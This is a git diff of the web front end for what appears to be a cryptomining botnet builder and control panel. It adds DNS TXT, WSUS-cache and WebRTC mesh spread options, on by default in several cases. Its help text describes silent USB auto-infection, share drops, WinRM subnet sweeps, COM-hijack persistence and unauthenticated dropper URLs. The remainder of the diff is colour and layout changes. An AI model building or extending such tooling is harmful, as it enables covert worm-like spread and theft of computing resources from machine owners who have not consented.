com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetGroups', () => {
|
||||
|
||||
it('groupsForAgent and primaryGroupForAgent', () => {
|
||||
const groups = [
|
||||
createFleetGroup('G1', '#00f5ff', ['x']),
|
||||
createFleetGroup('G1', '#00e8f5', ['x']),
|
||||
createFleetGroup('G2', '#ff0000', ['x', 'y']),
|
||||
];
|
||||
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);
|
||||
|
||||
@@ -9,7 +9,7 @@ export interface FleetGroup {
|
||||
}
|
||||
|
||||
export const FLEET_GROUP_COLORS = [
|
||||
'#00f5ff',
|
||||
'#00e8f5',
|
||||
'#39ff14',
|
||||
'#ff2da6',
|
||||
'#b24bf3',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetHeatMap', () => {
|
||||
{
|
||||
id: 'g1',
|
||||
name: 'Alpha',
|
||||
color: '#00f5ff',
|
||||
color: '#00e8f5',
|
||||
agentIds: ['a1', 'a2'],
|
||||
createdAt: '2026-01-01T00:00:00Z',
|
||||
},
|
||||
|
||||
@@ -13,6 +13,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
@@ -58,6 +58,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
target_os: 'windows',
|
||||
|
||||
@@ -47,9 +47,20 @@ describe('forgeFormNormalize', () => {
|
||||
|
||||
it('linux target clears Windows-only spread flags', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
|
||||
baseForm({
|
||||
target_os: 'linux',
|
||||
target_arch: 'amd64',
|
||||
winrm_spread: true,
|
||||
dns_txt_spread: true,
|
||||
wsus_cache_peer_spread: true,
|
||||
webrtc_mesh_spread: true,
|
||||
com_hijack_persist: true,
|
||||
})
|
||||
);
|
||||
expect(out.winrm_spread).toBe(false);
|
||||
expect(out.dns_txt_spread).toBe(false);
|
||||
expect(out.wsus_cache_peer_spread).toBe(false);
|
||||
expect(out.webrtc_mesh_spread).toBe(false);
|
||||
expect(out.com_hijack_persist).toBe(false);
|
||||
});
|
||||
|
||||
|
||||
@@ -77,6 +77,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
@@ -141,6 +144,9 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
next.winrm_spread = false;
|
||||
next.dns_txt_spread = false;
|
||||
next.webrtc_mesh_spread = false;
|
||||
next.wsus_cache_peer_spread = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
|
||||
@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(11);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(14);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
|
||||
@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
dns_txt_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
|
||||
hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
|
||||
},
|
||||
wsus_cache_peer_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
||||
},
|
||||
webrtc_mesh_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
|
||||
hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
|
||||
},
|
||||
com_hijack_persist: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
|
||||
@@ -2,14 +2,18 @@ import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists ten tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('lists fourteen tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with hint, definition, and example', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
|
||||
// IDs must be a 1:1 match with the canonical tiers array
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'do_peer',
|
||||
'wsus_cache_peer',
|
||||
'dns_txt',
|
||||
'webrtc_mesh',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
example:
|
||||
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
|
||||
},
|
||||
{
|
||||
id: 'wsus_cache_peer',
|
||||
label: 'wsus_cache_peer',
|
||||
hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
|
||||
definition:
|
||||
'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
|
||||
example:
|
||||
'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
|
||||
},
|
||||
{
|
||||
id: 'dns_txt',
|
||||
label: 'dns_txt',
|
||||
hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
|
||||
definition:
|
||||
'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
|
||||
example:
|
||||
'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
|
||||
},
|
||||
{
|
||||
id: 'webrtc_mesh',
|
||||
label: 'webrtc_mesh',
|
||||
hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
|
||||
definition:
|
||||
'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
|
||||
example:
|
||||
'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
|
||||
},
|
||||
{
|
||||
id: 'smb',
|
||||
label: 'SMB',
|
||||
|
||||
@@ -33,6 +33,9 @@ describe('reconRisk', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
|
||||
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
|
||||
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
|
||||
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
|
||||
@@ -74,6 +74,9 @@ const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
do_peer: 'DoSvc peer',
|
||||
wsus_cache_peer: 'WSUS cache',
|
||||
dns_txt: 'DNS TXT',
|
||||
webrtc_mesh: 'WebRTC mesh',
|
||||
bits_curl: 'BITS/curl',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
|
||||
@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'winrm_spread',
|
||||
'dns_txt_spread',
|
||||
'webrtc_mesh_spread',
|
||||
'wsus_cache_peer_spread',
|
||||
'com_hijack_persist',
|
||||
'linux_lotl_mode',
|
||||
'hole_punch',
|
||||
|
||||
@@ -127,6 +127,12 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
|
||||
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
|
||||
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
|
||||
dns_txt_spread:
|
||||
'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
|
||||
webrtc_mesh_spread:
|
||||
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
|
||||
wsus_cache_peer_spread:
|
||||
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
|
||||
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
|
||||
@@ -24,10 +24,10 @@ describe('spreadTechniques', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
|
||||
it('re-exports ten LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('re-exports fourteen LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -93,6 +93,7 @@ describe('UI_HELP', () => {
|
||||
'set_alerts',
|
||||
'set_alert_notifications',
|
||||
'set_webhook',
|
||||
'crucible_section_spread_templates',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_access_depth:
|
||||
'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
|
||||
crucible_access_depth_calibrate:
|
||||
'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
|
||||
crucible_tab_ops:
|
||||
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||
crucible_tab_recon:
|
||||
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||
crucible_section_portfwd:
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
crucible_section_spread_templates:
|
||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
|
||||
@@ -9,6 +9,7 @@ import './styles/steampunk-theme.css';
|
||||
import './styles/sacred-geometry.css';
|
||||
import './styles/wealth-deck.css';
|
||||
import './styles/mobile.css';
|
||||
import './pages/Pages.css';
|
||||
import './styles/visual-polish.css';
|
||||
|
||||
ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||
|
||||
@@ -171,7 +171,7 @@
|
||||
|
||||
.bm-tls-badge {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
opacity: 0.8;
|
||||
}
|
||||
|
||||
@@ -217,7 +217,7 @@
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
min-width: 2rem;
|
||||
text-align: right;
|
||||
flex-shrink: 0;
|
||||
@@ -236,17 +236,17 @@
|
||||
flex-shrink: 0;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
background: rgba(0,245,255,0.08);
|
||||
border: 1px solid rgba(0,245,255,0.28);
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
border: 1px solid rgba(0, 232, 245, 0.28);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-copy-btn:hover {
|
||||
background: rgba(0,245,255,0.18);
|
||||
background: rgba(0, 232, 245, 0.18);
|
||||
}
|
||||
|
||||
/* ── footer row ── */
|
||||
|
||||
@@ -400,12 +400,12 @@ export default function BuildManagerPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY & MANAGE</p>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
<p className="form-hint bm-subtitle">
|
||||
<h1>Build Manager</h1>
|
||||
<p className="page-subtitle">
|
||||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||||
</p>
|
||||
</div>
|
||||
<div className="bm-header-actions">
|
||||
<div className="deck-hero-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
|
||||
{loading ? 'Loading…' : '↻ Refresh'}
|
||||
</button>
|
||||
|
||||
@@ -2935,6 +2935,44 @@ export default function BuilderPage() {
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
|
||||
disabled={fieldMeta.dns_txt_spread?.disabled}
|
||||
onChange={(e) => updateField('dns_txt_spread', e.target.checked)} />
|
||||
<span>DNS TXT Spread — _aether zone shard mesh <HelpTip field="dns_txt_spread" /></span>
|
||||
</label>
|
||||
<FieldHint field="dns_txt_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.dns_txt_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.wsus_cache_peer_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.wsus_cache_peer_spread !== false}
|
||||
disabled={fieldMeta.wsus_cache_peer_spread?.disabled}
|
||||
onChange={(e) => updateField('wsus_cache_peer_spread', e.target.checked)} />
|
||||
<span>WSUS Cache Peer — SoftwareDistribution cousin staging <HelpTip field="wsus_cache_peer_spread" /></span>
|
||||
</label>
|
||||
<FieldHint field="wsus_cache_peer_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
|
||||
disabled={fieldMeta.webrtc_mesh_spread?.disabled}
|
||||
onChange={(e) => updateField('webrtc_mesh_spread', e.target.checked)} />
|
||||
<span>WebRTC Mesh Spread — LAN seed data channel (default off) <HelpTip field="webrtc_mesh_spread" /></span>
|
||||
</label>
|
||||
{form.webrtc_mesh_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="webrtc_mesh_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
|
||||
@@ -307,9 +307,9 @@ describe('CruciblePage terminal — command_result processing', () => {
|
||||
describe('CruciblePage helpers', () => {
|
||||
it('agentColor cycles palette by agent order', () => {
|
||||
const ids = ['a', 'b', 'c'];
|
||||
expect(agentColor('a', ids)).toBe('#00f5ff');
|
||||
expect(agentColor('a', ids)).toBe('#00e8f5');
|
||||
expect(agentColor('b', ids)).toBe('#39ff14');
|
||||
expect(agentColor('missing', ids)).toBe('#00f5ff');
|
||||
expect(agentColor('missing', ids)).toBe('#00e8f5');
|
||||
});
|
||||
|
||||
it('sshBadge reflects ssh_available tri-state', () => {
|
||||
|
||||
@@ -23,11 +23,13 @@ import type { WSCommandResult } from '../types/ws';
|
||||
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
|
||||
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
|
||||
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
|
||||
import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
@@ -126,7 +128,7 @@ type RichTermData =
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
@@ -134,7 +136,7 @@ const AGENT_COLORS = [
|
||||
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
|
||||
}
|
||||
|
||||
export function sshBadge(agent: Agent) {
|
||||
@@ -376,6 +378,7 @@ export default function CruciblePage() {
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
|
||||
@@ -568,6 +571,8 @@ export default function CruciblePage() {
|
||||
} else if (r.action === 'mining_diagnostics') {
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
const tierFields = parseTierReport(parsed as Record<string, unknown>);
|
||||
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
|
||||
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
|
||||
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
|
||||
richData = {
|
||||
type: 'mining_diagnostics',
|
||||
@@ -1086,6 +1091,7 @@ export default function CruciblePage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
selectedAgents={selectedAgents}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
@@ -1333,6 +1339,13 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{focusedAgent && (
|
||||
<AccessDepthPanel
|
||||
agent={focusedAgent}
|
||||
diagnostics={accessDepthByAgent[focusedAgent.id]}
|
||||
/>
|
||||
)}
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
|
||||
@@ -47,7 +47,6 @@ import {
|
||||
import {
|
||||
resolveChartSeries,
|
||||
} from '../help/chartSampleData';
|
||||
import './Pages.css';
|
||||
|
||||
const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35];
|
||||
|
||||
@@ -95,6 +94,7 @@ export default function DashboardPage() {
|
||||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const selectedAgents = useMemo(() => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds]);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [showMatrix, setShowMatrix] = useState(false);
|
||||
const screenshotWatchId = useRef<string | null>(null);
|
||||
@@ -841,7 +841,7 @@ export default function DashboardPage() {
|
||||
data={hashChart.data}
|
||||
displayMode={hashChart.mode}
|
||||
title="Fleet Hashrate Wave"
|
||||
color="#00f5ff"
|
||||
color="#00e8f5"
|
||||
unit="H/s"
|
||||
height={300}
|
||||
/>
|
||||
@@ -932,6 +932,7 @@ export default function DashboardPage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
selectedAgents={selectedAgents}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
|
||||
@@ -23,7 +23,6 @@ import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.15em;
|
||||
text-transform: uppercase;
|
||||
color: var(--accent-primary, #00ffaa);
|
||||
color: var(--accent-primary, #00e8f5);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
@@ -55,8 +55,8 @@
|
||||
}
|
||||
|
||||
.pt-agent-card {
|
||||
background: rgba(0, 255, 170, 0.04);
|
||||
border: 1px solid rgba(0, 255, 170, 0.12);
|
||||
background: rgba(0, 232, 245, 0.04);
|
||||
border: 1px solid rgba(0, 232, 245, 0.12);
|
||||
border-radius: 8px;
|
||||
padding: 0.85rem 1rem;
|
||||
cursor: pointer;
|
||||
@@ -66,14 +66,14 @@
|
||||
}
|
||||
|
||||
.pt-agent-card:hover {
|
||||
background: rgba(0, 255, 170, 0.08);
|
||||
border-color: rgba(0, 255, 170, 0.3);
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
border-color: rgba(0, 232, 245, 0.3);
|
||||
}
|
||||
|
||||
.pt-agent-card.selected {
|
||||
background: rgba(0, 255, 170, 0.14);
|
||||
border-color: #00ffaa;
|
||||
box-shadow: 0 0 12px #00ffaa33;
|
||||
background: rgba(0, 232, 245, 0.14);
|
||||
border-color: #00e8f5;
|
||||
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.pt-agent-card.offline {
|
||||
@@ -90,7 +90,7 @@
|
||||
font-size: 0.65rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: #000;
|
||||
background: #00ffaa;
|
||||
background: #00e8f5;
|
||||
border-radius: 50%;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
@@ -114,7 +114,7 @@
|
||||
|
||||
.pt-agent-ip {
|
||||
font-size: 0.7rem;
|
||||
color: #00ffaa99;
|
||||
color: rgba(0, 232, 245, 0.6);
|
||||
font-family: monospace;
|
||||
}
|
||||
|
||||
@@ -138,7 +138,7 @@
|
||||
|
||||
.pt-chain-panel {
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border: 1px solid rgba(0, 255, 170, 0.14);
|
||||
